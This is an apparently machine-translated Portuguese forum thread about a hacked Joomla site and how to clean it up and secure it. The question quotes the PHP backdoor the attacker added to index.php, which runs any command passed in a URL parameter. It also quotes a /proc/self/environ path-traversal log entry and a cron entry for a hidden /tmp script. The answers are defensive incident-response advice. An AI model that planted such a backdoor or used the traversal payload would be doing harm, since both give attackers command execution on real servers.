Site cortado usando? cmd = ls

Question

Um site do Joomla que estou executando foi hackeado no outro dia. O hacker deixou alguns arquivos no diretório tmp e estava executando um Daemon HTTP de alguma forma (pelo menos é o que meu host me disse). De qualquer forma, eu tenho tentado limpar os arquivos que eles deixaram para trás e proteger o que eu posso, mas ao verificar meus logs eu notei um hit em www.domain.com/?cmd=ls . Isso pareceu estranho para mim, então eu tentei ... e eis que lista todos os arquivos no diretório raiz do meu site. Alguém pode me explicar por que isso está acontecendo e como eu paro isso? Isso parece uma grande façanha, que eu gostaria de eliminar imediatamente.

Atualização : Ao pesquisar, notei algumas linhas extras adicionadas ao meu index.php do Joomla:

if ($_GET['cmd']!=null) {
     system($_GET['cmd']);
}

Eu removi estes, mas estou curioso para saber como o atacante conseguiu editá-los para começar. Não tenho certeza de onde procurar para ter certeza de que fechei as portas dos fundos.

Mais atualizações : Primeiro, deixe-me dizer que sim, percebo que o curso adequado de ação é derrubar o site e restaurar a partir do backup. No entanto, prefiro deixar isso como último recurso, pois (a) é um site que depende de contribuições da comunidade e meus backups não são tão recentes (minha culpa, eu sei) e (b) estou trabalhando em um novo versão que deve estar pronta em breve. Mas, como parece que estou recebendo alguma ajuda aqui, adicionarei algumas das outras coisas que encontrei / fiz na tentativa de corrigir essa situação.

Encontrei algum diretório .kin (ou algo assim - não tomei nota disso e deletei imediatamente) na minha pasta / tmp, que era obviamente de onde esse daemon http estava rodando. Estou assumindo que o gunzip (mencionado abaixo) foi como isso foi colocado aqui.

Nos meus arquivos error_log eu encontrei as seguintes entradas suspeitas (o "..." é minha tentativa de remover o caminho / nome de arquivo desta postagem):

[04-Jul-2010 09:45:58] PHP Fatal error:  Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24

[05-Jul-2010 12:31:30] PHP Notice:  Undefined index:  HTTP_USER_AGENT in ... on line 92

[04-Jul-2010 06:41:52] PHP Warning:  rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719

Eu atualizei o componente CKForms (que foi listado como tendo um exploit conhecido com a versão que eu estava executando), bem como outro componente listado na mensagem HTTP_USER_AGENT.

Nos meus logs de estatísticas, descobri que o mesmo endereço IP tentou o? cmd = ls duas vezes, então eu bloqueei esse IP (em algum lugar da Indonésia).

Atualizei minha instalação do Joomla para o mais recente.

Encontrei os arquivos system.ph e system.php em minha raiz, que tinham uma string codificada gunzip / base64, que eu deletei.

Eu passei por todos os diretórios da instalação em que o registro de data e hora é recente para ver se existem arquivos anormais.

Excluiu um trabalho cron apontando para ... / tmp / .kin / up2you > / dev / null 2 > & 1

Além disso, eu ficaria preocupado que, mesmo se eu restaurasse de um backup, qualquer exploração usada ainda existiria, então causa-raiz e prevenção é realmente o que estou fazendo aqui.

    

Answer 1

Eu discordo totalmente da afirmação de Chris S de que todos os arquivos / diretórios devem ser de propriedade de root. Existe uma razão para o sistema de permissões do Unix.

Existem duas maneiras básicas de executar o Apache / PHP. Uma delas é executá-la como o usuário www-data e ter os arquivos pertencentes a um nome de usuário não raiz. O Apache é executado como uma conta de baixo privilégio e deve ter acesso a diretórios / arquivos particulares para poder escrever para eles. É por isso que o Joomla tem a camada ftp, para compensar isso. No entanto, em um ambiente de servidor compartilhado, o fato de que todos os arquivos precisam ser legíveis no mundo torna os arquivos de configuração de outros sites dessa máquina fáceis de ler.

A outra maneira é executar o Apache com o PHP rodando o suPHP, que é o que o CPanel prefere. Nesse caso, o Apache é executado como um usuário de baixo privilégio, mas todas as solicitações do PHP são entregues a um script que altera a propriedade para o nome de usuário que possui os arquivos. Embora agora você possa usar as permissões do Unix para impedir que outros scripts maliciosos na máquina naveguem em seus diretórios, qualquer script PHP comprometido pode ser executado como seu nome de usuário e, como consequência, modificar / desfigurar qualquer um dos arquivos de seu nome de usuário. / p>

Como você não é bem versado em segurança de servidores, encontrar rootkits bem escondidos, etc. na máquina não seria uma tarefa divertida. Primeiro, você teria que saber se o kernel era explorável (a menos que você esteja executando um kernel muito recente, a resposta aqui seja sim) e se alguma coisa foi afetada. Esse hack específico geralmente ocorre por meio de uma conta de FTP comprometida, no ponto em que eles são capazes de executar scripts. Desde que você encontrou esse código, ele também sugere que o 'hacker' não era muito sofisticado. Existem muitas maneiras pelas quais ele poderia ter escondido esse código e impedido seus logs de ver o que ele estava fazendo.

mojah está correto. Uma vez que eles entram, eles tentam executar um script de /dev/shm/.alguma coisa ou / tmp que se conecta à sua rede de IRC, ou atua como um bot de controle sobre o undernet ou outra rede concorrente. Você provavelmente encontrará um ou dois scripts em execução, talvez uma entrada do cron para reiniciá-lo, e outros shells remotos escondidos durante a instalação do Joomla. Procure arquivos no diretório / uploads ou / images com nome semelhante aos arquivos existentes. img_1034.jpg.php. Eles geralmente escondem seu bot irc em vários lugares que não são acessíveis pela web, de modo que você não vai tropeçar neles quando você logar, mas, terá escondido seus shells remotos em lugares para que eles possam voltar e reexecutar seus roteiro e reconectar a rede deles.

Em qualquer caso, a tarefa que você está enfrentando é um pouco complicada. Você tem um site que precisa ficar on-line, falta-lhe um pouco da experiência com essas situações e deseja apenas que seu site funcione.

Pegue um despejo de seu banco de dados através da função de exportação do Joomla, verifique se ele é um dump completo. Crie um segundo site e importe o despejo para verificá-lo. Quando tiver certeza de que tem um bom despejo importável, faça um backup do site. Exclua todos os arquivos, reinstale o Joomla, a instalação básica, use as informações de conexão existentes do MySQL - pode ser que você esteja atualizando e, nesse caso, permita a atualização. Se você estiver em um VPS em algum lugar, peça a ele uma nova imagem e reinstale-o.

    

Answer 2

Seu servidor não tem segurança, provavelmente como resultado do hacking. Ele precisa ser colocado off-line o mais rápido possível.

O melhor curso de ação neste momento é limpá-lo, restaurá-lo e garantir que ele esteja protegido. Você não terá quase nenhuma maneira de ter certeza de que se livrou do hacker / vírus / etc, a menos que você o limpe.

    

Answer 3

Concordo com Chris S. Você é muito explorado. Você precisa limpar e restaurar a partir do backup. E desta vez, antes de você ir ao vivo, você precisa ser extremamente cuidadoso com suas permissões de gravação e execução.

Quando um invasor obtiver acesso no nível do sistema, você não poderá mais confiar em seu código.

As permissões do diretório são ENORMES. Isso não pode ser estressante o suficiente. Eles carregaram o código em seu site por meio de uma exploração, mas isso só pode ser feito se o código puder ser gravado nos diretórios locais. Se não puder, ou se os diretórios locais para os quais ele pode gravar não puderem ser interpretados ou usados para hospedar o código executável, então o dano que pode ser feito é extremamente limitado.

Eu recomendo remover permissões de gravação em todos os lugares possíveis, TODAS, mesmo as que pertencem ao root. As únicas coisas que devem ser graváveis de qualquer maneira são os diretórios de upload e qualquer diretório que armazene seus arquivos de sessão. Se você não permitir envios, apenas o diretório de arquivos da sessão e aquele deve estar tão bloqueado quanto possível.

Você também deve executar verificações regulares de integridade de arquivos. Infelizmente, isso não é tão fácil se você não tiver acesso completo ao servidor. Ainda assim você pode baixar o site e compará-lo ao seu backup regularmente. Idealmente, você deve ser capaz de sobrescrever todo o site a partir do backup a qualquer momento, e ninguém notará a diferença.

    

Answer 4

Como você disse, o resposible pessoa / grupo para hackear o servidor deixou um servidor web por trás, personalizado às suas necessidades (também chamado de Shellbot, geralmente escrito em Perl / Python). É uma interface web personalizada projetada para permitir que comandos personalizados sejam fornecidos por meio de parâmetros fáceis.

O sl é básico e, relativamente, inofensivo. Provavelmente já foi usado para iniciar outros comandos mais perigosos.

Se é um Linux, tente ver quais processos estão rodando usando lsof (lsof -i tcp: 80).